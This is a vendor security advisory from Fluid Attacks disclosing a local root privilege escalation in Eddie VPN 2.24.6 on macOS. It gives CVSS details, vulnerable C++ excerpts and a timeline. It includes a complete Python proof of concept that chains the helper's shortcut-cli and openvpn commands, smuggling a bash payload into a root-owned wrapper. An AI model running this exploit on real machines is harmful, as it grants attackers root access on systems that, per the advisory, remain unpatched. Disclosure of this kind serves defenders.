Eddie VPN 2.24.6 - Local Privilege Escalation

8,5

High

8,5

High

Discovered by

Oscar Uribe

Offensive Team, Fluid Attacks

Summary

Full name

Eddie VPN 2.24.6 - Local Privilege Escalation via shortcut-cli + openvpn Command Chain

Code name

State

Public

Release date

6 de jan. de 2026

Affected product

Eddie VPN

Vendor

AirVPN

Affected version(s)

2.24.6

Vulnerability name

Privilege escalation

Vulnerability type

Remotely exploitable

No

CVSS v4.0 vector string

CVSS:4.0/AV:L/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N

CVSS v4.0 base score

8.5

Exploit available

Yes

Description

Eddie VPN for macOS contains a privilege escalation vulnerability that allows local, unprivileged users to execute arbitrary code as root. The vulnerability stems from a chain of two commands in the privileged helper tool eddie-cli-elevated: shortcut-cli and openvpn, which, when combined, allow complete system compromise without user interaction.

This vulnerability is exploitable when the user has enabled the "Don't ask elevation every run" option in Eddie VPN settings. This option installs a LaunchDaemon (org.airvpn.eddie.ui.elevated.plist) that runs the privileged helper tool persistently, allowing any local process to connect to it without requiring the Eddie GUI to be running. This significantly increases the attack surface as the vulnerable service remains accessible even when the VPN application is not actively in use.

The exploitation chain works as follows:

  1. shortcut-cli creates a malicious wrapper script at /usr/local/bin/eddie-cli with root ownership and 0755 permissions.

  2. The wrapper passes all security checks in CheckIfExecutableIsAllowed (root-owned, not writable by group/other, executable)

  3. openvpn command accepts the wrapper path because it only validates file permissions, not content

  4. When openvpn executes the wrapper, the malicious code runs with root privileges.

Four flaws cause the vulnerability:

  1. shortcut-cli does not validate the content of the script it creates

  2. CheckIfExecutableIsAllowed only validates file permissions, not authenticity or content

  3. openvpn trusts any executable that passes permission checks without verifying it's a legitimate OpenVPN binary

  4. file-immutable-set allows making arbitrary files immutable, enabling denial of service and persistence attacks

Vulnerability

The core of the vulnerability lies in the shortcut-cli command implementation that creates executable scripts without content validation: (src/App.CLI.MacOS.Elevated/src/impl.cpp - Line 82-98 )

else if (command == "shortcut-cli")
{
    std::string action = params["action"];
    std::string pathExecutable = params["path"];
    std::string pathShortcut = "/usr/local/bin/eddie-cli";
    
    if (action == "set")
    {
        FsDirectoryCreate("/usr/local/bin");
        // NO VALIDATION of pathExecutable content
        FsFileWriteText(pathShortcut, "#! /bin/bash\n\"" + pathExecutable + "\" $@");
        chmod(pathShortcut.c_str(), S_IRUSR | S_IWUSR | S_IXUSR | S_IRGRP | S_IXGRP | S_IROTH | S_IXOTH);
    }
}

The security check function only validates permissions: (src/Lib.CLI.Elevated/src/ibase.cpp -  Line ~1002)

bool IBase::CheckIfExecutableIsAllowed(const std::string& fullPath, bool throwException)
{
    struct stat st;
    if (stat(fullPath.c_str(), &st) != 0)
        return false;
    
    // Only checks ownership and permissions
    if (st.st_uid != 0)  // Must be root-owned
        return false;
    
    if (st.st_mode & (S_IWGRP | S_IWOTH))  // Not writable by group/other
        return false;
    
    if (!(st.st_mode & S_IXUSR))  // Must be executable
        return false;
    
    return true;  // NO content validation, NO signature verification
}

The openvpn command trusts this validation: (src/Lib.CLI.Elevated/src/iposix.cpp - Line 66-104)

else if (command == "openvpn")
{
    if (action == "start")
    {
        CheckIfExecutableIsAllowed(params["path"], true);  // Only permission check
        
        std::string checkResult = CheckValidOpenVpnConfigFile(params["config"]);
        if (checkResult != "")
            ThrowException("Not supported OpenVPN config: " + checkResult);
        
        // Executes the binary without verifying it's actually OpenVPN
        pstream child(argv, mode);
        // ...
    }
}

PoC

#!/usr/bin/env python3
"""
PoC: LPE chain via shortcut-cli + openvpn
- shortcut-cli plants /usr/local/bin/eddie-cli (root:wheel 0755)
- openvpn accepts and executes that path as root (does not validate content)
"""

import os
import time
import socket
import base64
import hashlib
import getpass

# ============================================================================
# EddieSession - Integrated client
# ============================================================================

class EddieSession:
    """Persistent session with eddie-cli-elevated"""
    
    def __init__(self, host="127.0.0.1", port=9350):
        self.host = host
        self.port = port
        self.sock = None
        self.token = None
        self.cmd_id = 0
        self.initialized = False
    
    def connect(self):
        """Connect to the server"""
        self.sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        self.sock.settimeout(10)
        self.sock.connect((self.host, self.port))
        
        # Read handshake
        handshake = self.sock.recv(1024)
        pid_line = handshake.decode('utf-8', errors='ignore').strip()
        print(f"[+] Connected - {pid_line}")
        
        return True
    
    def send_command(self, command, **params):
        """Send a command using the current connection"""
        # Generate token if it doesn't exist
        if not self.token:
            self.token = hashlib.sha256(f"eddie-{time.time()}".encode()).hexdigest()
        
        # Build command
        parts = [
            f"command:{self._encode(command)}",
            f"_id:{self._encode(self.cmd_id)}",
            f"_token:{self._encode(self.token)}",
            f"_debug:{self._encode(0)}"
        ]
        
        # Add parameters
        for key, value in params.items():
            parts.append(f"{key}:{self._encode(value)}")
        
        cmd_str = ";".join(parts) + ";\n"
        
        # Send
        self.sock.send(cmd_str.encode())
        
        # Receive response
        response = b""
        self.sock.settimeout(2)
        
        try:
            while True:
                chunk = self.sock.recv(4096)
                if not chunk:
                    break
                response += chunk
                if b"ee:end:" in response:
                    break
        except socket.timeout:
            pass
        
        self.cmd_id += 1
        
        return self._parse_response(response.decode('utf-8', errors='ignore'))
    
    def initialize(self):
        """Fully initialize the session"""
        username = getpass.getuser()
        
        # Generate token BEFORE sending session-key
        if not self.token:
            self.token = hashlib.sha256(f"eddie-{time.time()}".encode()).hexdigest()
        
        # 1. session-key
        result = self.send_command("session-key",
            key=self.token,
            version="v1378",
            path="/Applications/Eddie.app/Contents/MacOS"
        )
        if result['exception']:
            return False
        
        # 2. bin-path-add
        result = self.send_command("bin-path-add",
            path="/Applications/Eddie.app/Contents/MacOS"
        )
        if result['exception']:
            return False
        
        # 3. compatibility-profiles
        result = self.send_command("compatibility-profiles",
            **{
                "path-app": "/Applications/Eddie.app/Contents/MacOS",
                "path-data": f"/Users/{username}/.config/eddie",
                "owner": username
            }
        )
        if result['exception']:
            return False
        
        self.initialized = True
        return True
    
    def close(self):
        """Close the session"""
        if self.sock:
            try:
                self.send_command("exit")
            except:
                pass
            self.sock.close()
    
    def _encode(self, value):
        """Base64 encode"""
        return base64.b64encode(str(value).encode()).decode()
    
    def _decode_safe(self, data):
        """Safely decode base64"""
        try:
            missing_padding = len(data) % 4
            if missing_padding:
                data += '=' * (4 - missing_padding)
            return base64.b64decode(data).decode('utf-8', errors='ignore')
        except:
            return data
    
    def _parse_response(self, response_str):
        """Parse server response"""
        result = {
            'success': False,
            'data': None,
            'exception': None,
            'raw': response_str
        }
        
        for line in response_str.strip().split('\n'):
            line = line.strip()
            
            if not line or line.startswith("ee:end:"):
                continue
            
            if line.startswith("ee:data:"):
                parts = line.split(":", 2)
                if len(parts) >= 3:
                    id_and_data = parts[2].split(":", 1)
                    if len(id_and_data) >= 2:
                        result['data'] = self._decode_safe(id_and_data[1])
                        result['success'] = True
            
            elif line.startswith("ee:exception:"):
                parts = line.split(":", 2)
                if len(parts) >= 3:
                    id_and_exc = parts[2].split(":", 1)
                    if len(id_and_exc) >= 2:
                        result['exception'] = self._decode_safe(id_and_exc[1])
        
        return result

# ============================================================================
# Main PoC
# ============================================================================

WRAPPER = "/usr/local/bin/eddie-cli"
PROOF = "/tmp/eddie_lpe_root.txt"

def main():
    print("[*] Connecting and initializing session...")
    sess = EddieSession()
    sess.connect()
    sess.initialize()

    # Remove previous test files
    for f in (WRAPPER, PROOF):
        try:
            os.remove(f)
        except FileNotFoundError:
            pass

    # 1) Plant malicious wrapper using shortcut-cli
    print("[*] Planting malicious wrapper using shortcut-cli...")
    malicious = f"""#! /bin/bash
echo 'PWNED by shortcut-cli + openvpn' > {PROOF}
echo "whoami=$(whoami)" >> {PROOF}
echo "uid=$(id -u)" >> {PROOF}
id >> {PROOF}
"""
    # shortcut-cli writes the full script: #!/bin/bash\n"<pathExecutable>" $@
    # Trick: we make the path "/bin/bash -c '<payload>'"
    payload = f"/bin/bash -c \"{malicious.replace(chr(10), ';')}\""
    sess.send_command("shortcut-cli", action="set", path=payload)

    # 2) Trigger openvpn with the planted wrapper as the “binary”
    print("[*] Executing openvpn with planted wrapper...")
    # Minimal OpenVPN config accepted by CheckValidOpenVpnConfigFile
    cfg_path = "/tmp/fake.ovpn"
    with open(cfg_path, "w") as f:
        f.write("client\ndev tun\nremote 127.0.0.1 1194\n")
    sess.send_command("openvpn", id="poc", action="start", path=WRAPPER, config=cfg_path)

    time.sleep(3)  # give time for the wrapper to run

    # 3) Verify execution as root
    if os.path.exists(PROOF):
        print("[+] PoC executed. Contents of", PROOF)
        print(open(PROOF).read())
    else:
        print("[-] Test file was not created; execution did not occur")

    # Light cleanup
    sess.send_command("openvpn", id="poc", action="stop", signal="sigterm")
    sess.send_command("shortcut-cli", action="del")
    sess.close()

if __name__ == "__main__":
    main()

Evidence of Exploitation

  • PoC


  • Output

Our security policy

We have reserved the ID CVE-2025-14979 to refer to this issue from now on.

Disclosure policy

System Information

  • Eddie VPN

  • Version 2.24.6

  • Operating System: macOS

References

Mitigation

There is currently no patch available for this vulnerability.

Credits

The vulnerability was discovered by Oscar Uribe from Fluid Attacks' Offensive Team.

Timeline

2 de dez. de 2025

Vulnerability discovered

19 de dez. de 2025

Vendor contacted

6 de jan. de 2026

Public disclosure

Does your application use this vulnerable software?

During our free trial, our tools assess your application, identify vulnerabilities, and provide recommendations for their remediation.

As soluções da Fluid Attacks permitem que as organizações identifiquem, priorizem e corrijam vulnerabilidades em seus softwares ao longo do SDLC. Com o apoio de IA, ferramentas automatizadas e pentesters, a Fluid Attacks acelera a mitigação da exposição ao risco das empresas e fortalece sua postura de cibersegurança.

Consulta IA sobre Fluid Attacks

Assine nossa newsletter

Mantenha-se atualizado sobre nossos próximos eventos e os últimos posts do blog, advisories e outros recursos interessantes.

As soluções da Fluid Attacks permitem que as organizações identifiquem, priorizem e corrijam vulnerabilidades em seus softwares ao longo do SDLC. Com o apoio de IA, ferramentas automatizadas e pentesters, a Fluid Attacks acelera a mitigação da exposição ao risco das empresas e fortalece sua postura de cibersegurança.

Assine nossa newsletter

Mantenha-se atualizado sobre nossos próximos eventos e os últimos posts do blog, advisories e outros recursos interessantes.

Mantenha-se atualizado sobre nossos próximos eventos e os últimos posts do blog, advisories e outros recursos interessantes.

As soluções da Fluid Attacks permitem que as organizações identifiquem, priorizem e corrijam vulnerabilidades em seus softwares ao longo do SDLC. Com o apoio de IA, ferramentas automatizadas e pentesters, a Fluid Attacks acelera a mitigação da exposição ao risco das empresas e fortalece sua postura de cibersegurança.

Assine nossa newsletter

Mantenha-se atualizado sobre nossos próximos eventos e os últimos posts do blog, advisories e outros recursos interessantes.

Mantenha-se atualizado sobre nossos próximos eventos e os últimos posts do blog, advisories e outros recursos interessantes.